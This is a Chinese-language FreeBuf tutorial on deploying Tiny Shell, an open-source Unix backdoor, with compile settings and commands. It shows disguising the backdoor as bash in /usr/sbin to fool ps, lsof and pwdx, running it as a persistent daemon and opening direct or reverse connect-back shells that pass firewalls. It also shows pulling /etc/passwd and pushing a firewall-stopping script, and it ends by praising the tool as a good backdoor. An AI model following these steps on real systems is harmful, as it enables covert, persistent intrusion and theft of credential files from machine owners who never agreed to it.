當前位置:
首頁 > 新聞 > 短小精幹的Unix類後門Tiny shell的使用與分析

短小精幹的Unix類後門Tiny shell的使用與分析

*本文原創作者:dapzxb41693,本文屬FreeBuf原創獎勵計劃,未經許可禁止轉載


0x00. 簡介


Tiny Shell 是一款開源的Unix類後門shell工具,由C語言編寫,體積小(在kali系統上編譯後只有55K大小)


分為客戶端

和服務端,支持正向連接模式(即服務端在遠程運行,hacker遠程直接鏈接),和反彈連接模式(hacker在自己伺服器監聽,服務端鏈接hacker監聽埠)


功能:



通信加密


支持上傳、下載、直接反彈shell


下載地址:

<點擊閱讀原文查看鏈接>


https://github.com/orangetw/tsh


具體使用與分析見下文

0x01. 使用與分析


源碼很少,非常精簡



一、正向連接模式使用與分析


I、編譯前,你需要做以下設置




  1. 修改tsh.h中的secret的值


secret 的值用於加密 控制端和被控端之間通信的數據


和後門的所有的通信信息都會被AES加密


編譯之後,客戶端和服務端都會硬編碼這個secret,用於解密數據




  1. 修改tsh.h中的SERVER_PORT值


SERVER_PORT是後門運行後監聽的埠




  1. 修改tsh.h中的FAKE_PROC_NAME值


FAKE_PROC_NAME 是用於偽裝顯示後門運行後的進程名字,比如這裡設置為/bin/bash, 那麼後門運行後,用ps -ef 或者netstat 查看,則顯示的執行程序是/bin/bash ,如下圖所示





  1. 注釋掉 如下兩行代碼

//#define CONNECT_BACK_HOST
"10.1.100.3"//#define CONNECT_BACK_DELAY 30

這兩行注用於設置反彈鏈接模式,下面再介紹


修改好後的示例如下:


編譯

make linux

make 後面跟的是系統類別,這裡以linux為例



編譯成功後,tsh為客戶端,tshd為服務端


II、運行前的工作




  1. 執行以下命令

umask 077; HOME=/var/tmp

umask設置是為了運行後的後門shell環境而設置,後門shell所有創建的文件只有後門shell進程屬主有許可權,其他都沒許可權




  1. 修改tshd 為你要偽裝顯示的進程名字


這裡修改成bash

mv tshd bash

如果不修改的話,直接運行後門進程,則使用lsof -i:8080 查看, COMMAND不會顯示為tsh.h設置的偽裝的進程名字



所以這裡要修改一下可執行文件名字


然後再運行一下,執行lsof -i:8080 發現COMMAND變成了bash,這樣迷惑性會更大一些





  1. 將後門文件移動至 /usr/sbin (當然也可移動到其他隱秘的地方,這裡以/usr/sbin舉例)


如果想要更加具有欺騙性的話,則需要把後門文件移動至/usr/sbin (系統自帶的bash位於/bin/bash 和 /usr/bin/bash)


如果不移動的話,使用pwdx 進程ID 可以查看到後門進程所在的執行目錄


移動到/usr/sbin之後,再運行,然後用pwdx 查看



顯示在/usr/sbin, 欺騙性增加一些


III、運行使用


1. 直接獲取被控端shell


服務端運行 (被控端. IP: 10.1.100.3, kali系統)

/usr/sbin/bash

: 服務端運行後,其父進程PID是1,也就是說這個進程是守護進程除非重啟系統,或者手動關閉,否則一直存在(當然你也可以加入啟動項,或者加入任務計劃中)


客戶端(控制端 10.1.100.2)

./tsh 10.1.100.3

但是執行之後,沒反應,並沒有返回遠端的shell,奇怪,我未將tshd移動到/usr/sbin下保存為bash 是沒事的,一切OK,測試正常,但是將tshd移動到/usr/sbin/bash 之後,客戶端就鏈接不上,我決定查查代碼, 查了一會兒,在tsh.c的236行找到了問題的原因



這裡直接調用系統命令bash,而被控端的環境變數PATH值為:

/usr/local/jdk1.8/bin:/usr/local/jdk1.8/jre/bin:/usr/local/jdk1.8/bin:/
usr/local/jdk1.8/jre/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/
bin:/sbin:/bin:/usr/local/apache-ant-1.10.1/bin:/usr/local/gradle/bin

/usr/sbin 先於 /usr/bin/bash 和/bin/bash找到bash命令 ,於是我們知道我們執行了假的bash(就是我們自己的後門程序),所以這裡解決辦法就是修改源碼,顯示指定要執行命令的路徑



重新編譯執行,然後客戶端再次連接


./tsh 10.1.100.3


成功,OK

2. 下載文件


除了可以直接連接上去外,這個後門還可以下載和上傳文件


下載遠程的/etc/passwd文件到當前目錄

./tsh 10.1.100.3 get /etc/passwd .


3. 上傳文件到遠程被控端


上傳

./tsh 10.1.100.3 put stop_fw.sh /tmp


遠程查看上傳成功



二、反向連接模式使用與分析

反向鏈接適用於被控制端位於防火牆後面,不允許外面直接連接,這就需要被控端從里從外主動連接


編譯前的準備工作和 編譯正向連接模式類似,不過 需要將如下兩行去掉注釋,即去掉//

#define CONNECT_BACK_HOST "10.1.100.3"#define CONNECT_BACK_DELAY 30

CONNECT_BACK_HOST 表示反向連接的主機(就是被控端主動要連接的控制端的IP)這裡設置反向連接的主機是10.1.100.3 (kali 這裡變成了控制端了)


CONNECT_BACK_DELAY 表示隔多久嘗試連接控制端一次 (被控端會一直不斷循環,嘗試連接控制端, 見下圖代碼,while 死循環)



位於被控端的後門運行之後,會一直嘗試連接控制端 (下圖為實際抓包)



1、編譯

make linux

2、在控制端執行監聽

./tsh cb

cb 表示反向監聽模式



將tshd 上傳到被控端,重命名為bash,移動至/usr/sbin/bash


3、被控端執行後門 (10.1.100.2 )

/usr/sbin/bash

查看後門進程信息



被控端進程也是守護進程,PID為3082


大約30秒後(這個等待時間可在編譯時設置,見上文),被控端shell就反彈到了控制端



然後此時查看被控端相關和後門相關進程信息:



其中 -bash 是真實的bash進程


這裡的PID為3082、3147都是後門守護進程,偽裝成了』/bin/bash』, PID為3148的進程是後門守護進程執行系統命令exec /bin/bash —login 反彈出來的shell進程


解釋一下反彈shell之後,這裡為什麼會又出現一個守護進程(也就是pid為3147的進程)


回到最開始


執行後門 /usr/sbin/bash


執行之後,主進程會fork一個子進程(上面已經提到),父進程退出,這樣fork出來的子進程就會成為孤兒進程被init託管(也就是pid為3048的進程)


當PID 為3048的這個進程成功連接上控制端監聽的埠之後,則又fork一個進程用(姑且稱之為子進程2)於處理建立好的連接(tshd.c代碼 211行開始)



子進程2 又會新fork一個子進程(稱之為子進程3),然後子進程2退出,子進程3成為孤兒進程,被init託管,成為守護進程,子進程3是真正用戶處理連接後的交互


0x02. 總結


總的來說,Tiny shell 是一款非常不錯的後門,體積小,功能夠用,而且通信加密,源碼也不是很複雜,大家有空可自行研究。


*本文原創作者:dapzxb41693,本文屬FreeBuf原創獎勵計劃,未經許可禁止轉載


喜歡這篇文章嗎?立刻分享出去讓更多人知道吧!

本站內容充實豐富,博大精深,小編精選每日熱門資訊,隨時更新,點擊「搶先收到最新資訊」瀏覽吧!


請您繼續閱讀更多來自 FreeBuf 的精彩文章:

劇透Black Hat 2017將要發布的8款安全工具
PRMitM:一種可重置賬號密碼的中間人攻擊,雙因素認證也無效

TAG:FreeBuf |

您可能感興趣

cephFS kernel client IO性能瓶頸分析
Python和Scala的類繼承關係分析
American Oxygen MV 分析
Chemical Society Reviews:微光學在微流控分析中的應用
深入 JVM 分析 spring-boot 應用 hibernate-validatorNoClassDefFoundError
Process-Forest-Window進程日誌分析工具;python版的BloodHound
The Ten聯乘Nike React Hyperdunk過後-分析籃球鞋在Sneaker文化中掘起的因由 | Xsneaker
HikariCP源碼分析之leakDetectionThreshold及實戰解決Spark/Scala連接池泄漏
Jdk 動態代理異常處理分析,UndeclaredThrowableException
Kobe Bryant 預告將在《Detail》中分析如何防守 LeBron James
一個可以動態分析惡意軟體的工具——Kernel Shellcode Loader
android permissions分析
Cytoscape:強大的pathway分析可視化工具
Twitter 開源數據分析工具——tinfoleak
【linux】【retpoline】retpoline技術分析
針對Adobe Double Free的利用分析
WireShark+Winhex:流量分析的好搭檔
Python商務辦公——python+pandas高效實現Excel文件合併與分析
卡巴斯基——Energetic Bear/Crouching Yeti APT分析報告
基於Markov Chain Monte Carlo的智能手錶睡眠數據分析